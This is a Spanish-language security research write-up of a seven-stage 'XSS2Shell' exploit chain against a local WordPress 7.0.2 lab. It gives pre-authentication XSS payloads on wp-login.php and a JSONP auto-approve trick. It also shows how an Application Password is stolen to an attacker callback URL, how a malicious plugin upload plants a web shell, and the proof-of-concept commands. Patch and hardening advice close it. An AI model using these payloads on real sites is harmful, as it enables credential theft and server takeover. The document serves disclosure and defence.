Solo para pruebas autorizadas.
Todo lo siguiente se ejecutó contra un laboratorio local (WordPress 7.0.2 en localhos). No utilices estas técnicas contra sistemas que no sean de tu propiedad o para los que no tengas permiso explícito de prueba.
Resumen ejecutivo
XSS2Shell no es un bug aislado — es una cadena de explotación de siete etapas que comienza con un solo carácter (< seguido de un espacio) eludiendo dos parsers HTML distintos en la página de inicio de sesión de WordPress, y termina con PHP ejecutándose en el servidor como www-data.
Lo que lo hace peligroso:
- La etapa 1 no requiere autenticación — cualquiera puede ejecutar JavaScript en
wp-login.php. - Reside en el núcleo de WordPress — no en un plugin; prácticamente todas las instalaciones con soporte desde 2016 están afectadas.
- Utiliza el propio código de WordPress —
user-profile.js, REST JSONP, Contraseñas de Aplicación, carga de plugins — como gadgets. - El RCE completo está demostrado y reconocido por WordPress — aunque requiere engañar a un administrador autenticado para que haga un clic.
Este artículo recorre cada etapa con capturas de pantalla de nuestro laboratorio local.
El entorno de laboratorio
git clone <this-repo> cd xss2shell make up # WordPress 7.0.2 en http://localhost:9080| Component | URL | Credentials |
|---|---|---|
| Vulnerable WordPress | http://localhost:9080 | admin / admin123! |
| Patched comparison | http://localhost:9081 | (optional) |
| Attacker listener | http://127.0.0.1:9090 | started by PoC script |

Todos los sitios WordPress exponen /wp-login.php. Esa página es el punto de entrada de toda la cadena.
Etapa 0: La diferencia entre analizadores (causa raíz)
Cuando el inicio de sesión falla, WordPress muestra el nombre de usuario enviado dentro de un mensaje de error. El nombre de usuario pasa por dos sanitizadores que no coinciden en lo que es una "etiqueta":
| Layer | Function | Sees < area as… |
|---|---|---|
| PHP | strip_tags() | Plain text (space after < = not a tag) |
| WordPress KSES | wp_kses_post() | Valid HTML element |
El payload utiliza un espacio después de<:
< area id=demo-marker>< div id=color-picker class=reset-pass-submit>< button class="wp-generate-pw color-option">XEn la versión vulnerable WordPress 7.0.2, esto sobrevive a la sanitización y se convierte en DOM activo:
./scripts/demo-parser-diff.sh http://localhost:9080
En WordPress 7.0.4 parcheado, el mismo payload se escapa como HTML en el mensaje de error — sin elementos activos.
Este bug existe desde WordPress 4.7 (2016) y fue ignorado durante años de auditorías de seguridad.
Etapa 1: XSS previo a la autenticación (sin inicio de sesión requerido)
Los nodos DOM inyectados coinciden con los selectores que el propio user-profile.js de WordPress busca en la página de inicio de sesión (cargado para el flujo de restablecimiento de contraseña):
.reset-pass-submit .wp-generate-pwse hace clic automáticamente al cargar la página- El clic se propaga al manejador delegado de
#color-picker - La verificación de guardia
user_id === checkuser_idpasa porque ambos sonundefined - jQuery hace POST a
ajaxurl— peroajaxurlno existe en la página de inicio de sesión…
A menos que lo sobreescribamos:
<area id=ajaxurl href=/?rest_route=/&_method=GET&_jsonp=alert&_envelope=1>El elemento <area id=ajaxurl> se convierte en window.ajaxurl. jQuery llama a .toString() → devuelve href. WordPress REST devuelve JSONP → jQuery globalEval() → alert()se ejecuta en el origen de WordPress.

Envía el formulario (o abre demo/stage1-preauth-xss.html y haz clic en Ejecutar Etapa 1):

Impacto solo en esta etapa: phishing de credenciales en el dominio real, secuestro de sesión, llamadas a la API del mismo origen — sin autenticación alguna.
Etapa 2: Ingeniería social — el clic del administrador
Las etapas 2–7 requieren que un administrador autenticado abra una página controlada por el atacante. Esta es la fricción que mantiene el CVSS por debajo de 10 — pero es realista en ataques dirigidos.
El administrador podría recibir: "Tu sesión ha expirado — haz clic aquí para volver a autenticarte."

Al hacer clic, la página del atacante:
- Abre una ventana emergente hija (
about:blank) - Redirige la ventana principal a la página de autorización de Contraseñas de Aplicación de WordPress
- Escribe un formulario XSS en la ventana emergente hija y lo envía automáticamente a
wp-login.php

Etapa 3: Ejecución de Métodos en el Mismo Origen (SOME) — aprobación automática
El payload XSS de la ventana hija cambia el callback JSONP de alert a:
window.opener.approve.clickWordPress REST envuelve la respuesta:
/**/window.opener.approve.click({...})El runtime resuelve window.opener (ventana padre) → .approve (el botón #approve) → .click(). El botón Aprobar de la Contraseña de Aplicación se hace clic automáticamente — sin interacción del usuario en esa página.

Observe la URL de devolución de llamada en la página: las credenciales se enviarán a http://127.0.0.1:9090/callback?...&password=[------].
Etapa 4: Captura de contraseña de aplicación
WordPress crea una nueva contraseña de aplicación y redirige a la success_url del atacante con las credenciales en la cadena de consulta:
http://127.0.0.1:9090/callback ?site_url=http://localhost:9080 &user_login=admin &password=XXXX XXXX XXXX XXXX XXXX XXXXEl atacante ahora dispone de credenciales de autenticación HTTP Basic para la API REST de WordPress — obtenidas desde la propia sesión del administrador, sin que este haya escrito nada tras el clic inicial en el enlace.
Etapa 5: Publicación de página controlada por el atacante
Usando la contraseña de aplicación robada, el atacante realiza un POST a /wp-json/wp/v2/pages y publica una página con JavaScript integrado. Los administradores tienen la capacidad unfiltered_html, por lo que las etiquetas de script sobreviven.
Etapa 6: Carga de plugin mediante sesión de administrador
El JavaScript del atacante (ejecutándose en el navegador del administrador en la página publicada):
- Obtiene
/wp-admin/plugin-install.php?tab=uploadpara el nonce de carga - Realiza un POST con un ZIP malicioso a
/wp-admin/update.php?action=upload-plugin - WordPress lo extrae en
wp-content/plugins/xss2shell/
El plugin no necesita estar activado. Los archivos PHP en el directorio del plugin son directamente accesibles desde la web.
Etapa 7: Ejecución remota de código
GET /wp-content/plugins/xss2shell/shell.php?cmd=whoamiRespuesta:
{ "rce": true, "user": "www-data", "output": "www-data\n" }
El atacante ahora ejecuta comandos arbitrarios como el usuario del servidor web: puede leer wp-config.php (credenciales de la base de datos), volcar la base de datos y moverse lateralmente.
Salida completa del terminal de la prueba de concepto:

La cadena completa de un vistazo
sequenceDiagram participant A as Servidor atacante participant V as Navegador víctima participant W as WordPress 7.0.2 Note over V,W: El administrador está autenticado V->>A: Abre enlace de phishing (1 clic) A->>V: HTML del atacante + ventana emergente hija V->>W: Ventana principal → authorize-application.php V->>W: La hija envía payload XSS por POST a wp-login.php W->>V: JSONP ejecuta window.opener.approve.click Note over V,W: Botón Aprobar clicado automáticamente W->>A: Redirección con Contraseña de Aplicación A->>W: REST API publica página (autenticación Basic) V->>W: El admin visita la página → sube el ZIP del plugin V->>W: GET shell.php?cmd=whoami W-->>A: www-data¿Qué tan peligroso es realmente?
Lo que está garantizado (alta confianza)
| Property | Value |
|---|---|
| Authentication for XSS | None |
| Affected installs | All WordPress 4.7+ before patch |
| Default-config exploitability | Stage 1 works out of the box |
| User interaction for XSS | Victim visits attacker URL |
Lo que requiere condiciones adicionales (ruta de ejecución remota de código)
| Condition | Notes |
|---|---|
| Logged-in administrator | Must have active WP session |
| Social engineering | Admin must click attacker link |
| Application Passwords enabled | Default since WP 5.6; needs HTTPS or local env |
| Popup not blocked | Browser must allow window.open from user gesture |
Calibración de gravedad
| Metric | Value | Interpretation |
|---|---|---|
| CVSS 4.0 | 8.9 High | Full chain impact scored; not Critical because of UI:A |
| CVSS 3.1 | 6.1 Medium | Older scoring undervalues chained impact |
| EPSS | ~0.77% | Low predicted mass exploitation (Aug 2026) |
| CISA KEV | Not listed | No confirmed in-the-wild mass exploitation yet |
| Public PoCs | Multiple on GitHub | Exploitation window may shrink |
Conclusión: Esto no es un RCE de cero clics propagable como Log4Shell. Es una vulnerabilidad altamente técnica a nivel de núcleo que afecta al ~43% de la web donde:
- La Etapa 1 por sí sola es un XSS previo a la autenticación grave en la página de inicio de sesión
- La cadena completa convierte un solo clic de administrador en un compromiso del servidor
- La causa raíz (diferencial de analizadores sintácticos) se aplica a cualquier base de código que utilice múltiples analizadores HTML
El propio aviso de WordPress indica que el RCE requiere "condiciones fuera del control del atacante" e "ingeniería social exitosa." Eso es preciso — pero la cadena demostrada hace que esas condiciones sean alcanzables con un solo enlace.
Reproducir la cadena completa localmente
# 1. Iniciar laboratorio de pruebas # 2. Habilitar Contraseñas de Aplicación en HTTP (solo laboratorio) docker exec xss2shell-wordpress-1 bash -c \ "grep -q WP_ENVIRONMENT_TYPE /var/www/html/wp-config.php || \ sed -i \"/That's all, stop editing/i define( 'WP_ENVIRONMENT_TYPE', 'local' );\" /var/www/html/wp-config.php" # 3. Iniciar el listener del PoC python3 xss2shell_poc.py -t http://localhost:9080 --lhost 127.0.0.1 --lport 9090 -c "whoami" --keep # 4. En el navegador: # a. Iniciar sesión como administrador en http://localhost:9080/wp-login.php # b. Abrir http://127.0.0.1:9091/phishing-sim.html # c. Hacer clic en "Open attacker page" (permitir ventanas emergentes) # d. Esperar la salida en la terminal que muestra el shell y whoamiDefensa
| Priority | Action |
|---|---|
| Immediate | Update to WordPress 7.0.3 or your branch's patched release (full list) |
| Verify | ./scripts/demo-parser-diff.sh should show no injected elements |
| Harden | Disable Application Passwords if unused; restrict plugin uploads; enforce 2FA for admins |
| Monitor | Watch for failed-login usernames containing < area patterns |
| WAF | Block < area / < div patterns on wp-login.php POST bodies |
La corrección añade esc_html() al nombre de usuario en la ruta de error de inicio de sesión, asegurando que la cadena se trate como texto y no se vuelva a parsear como HTML.
Por qué esto importa para la investigación en seguridad
Cada eslabón de la cadena es individualmente insignificante:
- Diferencial de parsers → severidad baja, mantenimiento rutinario
- Script incorrecto cargado en la página de inicio de sesión → baja
- Callback JSONP validado por expresión regular → media
- Contraseña de aplicación en URL de redirección → media
- El directorio de plugins ejecuta PHP sin activación → diseño conocido
Ensamblados, son CVSS 8.9 y una shell.
La lección: al evaluar hallazgos de XSS, pregúntate "¿qué está ya cargado en esta página y qué hará si le paso los nodos DOM correctos?" La severidad es una propiedad de la cadena, no del bug individual.

